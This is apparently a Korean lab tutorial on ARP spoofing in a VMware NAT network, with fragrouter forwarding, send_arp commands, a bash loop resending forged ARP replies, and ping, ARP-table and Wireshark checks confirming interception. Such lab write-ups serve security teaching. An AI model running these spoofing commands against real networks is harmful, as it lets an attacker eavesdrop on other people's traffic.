ARP 스푸핑
ARP 스푸핑은 arp 응답을 위조하여 공격 대상으로 하여금 엉뚱한 곳으로 패킷을 전송하게끔 하는 공격 기법을 말한다.
공격 대상의 arp 요청에 대해 자신의 mac 주소를 알려주는 위조된 arp 응답을 전송하면,
공격 대상은 자신의 패킷들을 공격자에게 전송하게 되므로, 공격자가 해당 패킷들을 도청할 수 있게 된다.
공격자가 arp 스푸핑을 통해 게이트웨이 라우터를 사칭한다면 공격 대상이 게이트웨이로 보내는 (네트워크 외부로 보내는) 모든 패킷을 도청할 수 있으며, 이를 별도로 ARP 리다이렉션이라 한다.
이 포스트에서는 VMware NAT 환경에서 ARP 스푸핑을 시도하는 내용을 다룬다.
실습환경 : VMware 16
사용 프로그램 : fragrouter, fake
network : NAT
공격자
IP : 192.168.11.19
h/w address : 00:0C:29:E3:D3:C0
공격 대상 1 (XP)
IP : 192.168.11.77
h/w address : 00:0C:29:8F:7E:5F
공격 대상 2 (Server)
IP : 192.168.11.13
h/w address : 00:0c:29:a2:fb:10
진행 순서
1. 패킷 포워딩 설정 (공격자)
2. 위조된 arp 응답 전송 (공격자)
3. 공격 대상 간 접속 시도
4. 패킷 확인
1. 패킷 포워딩 설정 (공격자)
가로챈 패킷을 정상 목적지에 전송해주지 않으면 공격 대상은 통신이 불가능하다.
fragrouter를 이용해 패킷 릴레이를 활성화한다.
# fragrouter -B1
[root@linux32bit ~]# fragrouter -B1
fragrouter: base-1: normal IP forwarding
...
...
2. 위조된 arp 응답 전송 (공격자)
send_arp 명령을 이용하여 위조 arp 응답을 공격 대상들에게 전송한다.
# send_arp <host 1 IP> <공격자 mac 주소> <host 2 IP> <host 2 mac 주소>
‐ host 2에게 host 1의 mac 주소가 공격자의 mac 주소라고 알린다.
- 공격자 mac 주소에 원하는 mac 주소를 입력하면 다른 mac 주소로도 속일 수 있다.
# send_arp 192.168.11.13 00:0C:29:E3:D3:C0 192.168.11.77 00:0C:29:8F:7E:5F
# send_arp 192.168.11.77 00:0C:29:E3:D3:C0 192.168.11.13 00:0C:29:A2:FB:10
단, arp 테이블은 일정 시간마다 지워지므로 위조 arp 응답을 주기적으로 전송해야 한다.
셸 스크립트를 이용하여 2초마다 위조 arp 응답을 전송한다.
# vi sarp
=========================================================================
#! /bin/bash
while [ : ]
do
echo "send_arp 192.168.11.13 00:0C:29:E3:D3:C0 192.168.11.77 00:0C:29:8F:7E:5F"
send_arp 192.168.11.13 00:0C:29:E3:D3:C0 192.168.11.77 00:0C:29:8F:7E:5F
echo "send_arp 192.168.11.77 00:0C:29:E3:D3:C0 192.168.11.13 00:0C:29:A2:FB:10"
send_arp 192.168.11.77 00:0C:29:E3:D3:C0 192.168.11.13 00:0C:29:A2:FB:10
sleep 2s
done
==========================================================================
sarp 파일에 실행 권한을 부여하고 실행한다.
# chmod u+x sarp
# ./sarp
[root@linux32bit attack]# chmod u+x sarp
[root@linux32bit attack]# ./sarp
send_arp 192.168.11.13 00:0C:29:E3:D3:C0 192.168.11.77 00:0C:29:8F:7E:5F
send_arp 192.168.11.77 00:0C:29:E3:D3:C0 192.168.11.13 00:0C:29:A2:FB:10
send_arp 192.168.11.13 00:0C:29:E3:D3:C0 192.168.11.77 00:0C:29:8F:7E:5F
send_arp 192.168.11.77 00:0C:29:E3:D3:C0 192.168.11.13 00:0C:29:A2:FB:10
send_arp 192.168.11.13 00:0C:29:E3:D3:C0 192.168.11.77 00:0C:29:8F:7E:5F
send_arp 192.168.11.77 00:0C:29:E3:D3:C0 192.168.11.13 00:0C:29:A2:FB:10
...
...
wireshark로 확인해보면, 공격자가 arp 응답을 공격자에게 계속 전송하는 것을 확인할 수 있다.
공격 대상은 해당 응답을 평소에는 무시하겠지만, 해당 응답에 해당하는 ip주소에 대한 arp 요청을 전송하면,
공격 대상은 공격자가 지속적으로 뿌려놓은 arp 응답을 그대로 수신해 저장하는 원리다.
3. 공격 대상 간 접속 시도
~.11.77에서 ~.11.13으로 ping을 전송해본다.
Microsoft Windows XP [Version 5.1.2600]
<C> Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\st>ping 192.168.11.13
Pinging 192.168.11.13 with 32 bytes of data:
Reply from 192.168.11.13: bytes=32 time<1ms TTl=64
Reply from 192.168.11.13: bytes=32 time<1ms TTl=64
Reply from 192.168.11.13: bytes=32 time<1ms TTl=64
Reply from 192.168.11.13: bytes=32 time<1ms TTl=64
Ping statistics for 192.168.11.13:
Packets: Sent = 4, Received = 4, Lost = 0 <0% loss>,
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0mx, Average = 0ms
C:\Documents and Settings\st>
공격 대상 1 (~11.77)의 arp 테이블을 확인한다.
# arp -a
Microsoft Windows XP [Version 5.1.2600]
<C> Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\st> arp -a
Interface: 192.168.11.77 --- 0x10003
Internet Address Physical Address Type
192.168.11.13 00-0c-29-e3-d3-c0 dynamic
C:\Documents and Settings\st> arp -a
공격 대상 2 (~.11.13)의 arp 테이블을 확인한다.
[root@linux1113 ~]# arp -a
? (192.168.11.19) at 00:0c:29:e3:d3:c0 [ether] on ens32
? (192.168.11.170) at 00:50:56:c0:00:08 [ether] on ens32
? (192.168.11.77) at 00:0c:29:e3:d3:c0 [ether] on ens32
gateway (192.168.11.1) at 00:50:56:fb:dc:5e [ether] on ens32
두 공격 대상 모두 상대방의 mac 주소가 공격자의 mac 주소(00:0c:29:e3:d3:c0)로 등록되어 있는 것을 확인할 수 있다.
4. 패킷 확인
wireshark를 통해 확인해보면, ~.11.77과 ~.11.13 간 오고간 ping이 공격자를 거쳐간 것을 확인할 수 있다.
~11.77 에서 ~11.13으로 가는 ping 요청
~11.77에서 ~11.13으로 보내는 ping 요청의 Destination mac 주소가 공격자의 mac 주소(00:0c:29:e3:d3:c0)로 지정되어 있다.
공격자가 중간에 패킷을 포워딩 하느라 Source mac 주소가 공격자로 찍힌 ping 요청이 하나 더 발생한다.
~11.13 에서 ~11.77으로 가는 ping 응답
~.11.13에서 ~.11.77로 보낸 ping 응답 패킷의 Destination mac 주소가 공격자의 mac 주소(00:0c:29:e3:d3:c0)로 지정되어 있다.
ping 응답 역시 마찬가지로 공격자가 중간에 패킷을 포워딩 하느라 Source mac 주소가 공격자로 찍힌 패킷이 하나 더 발생한다.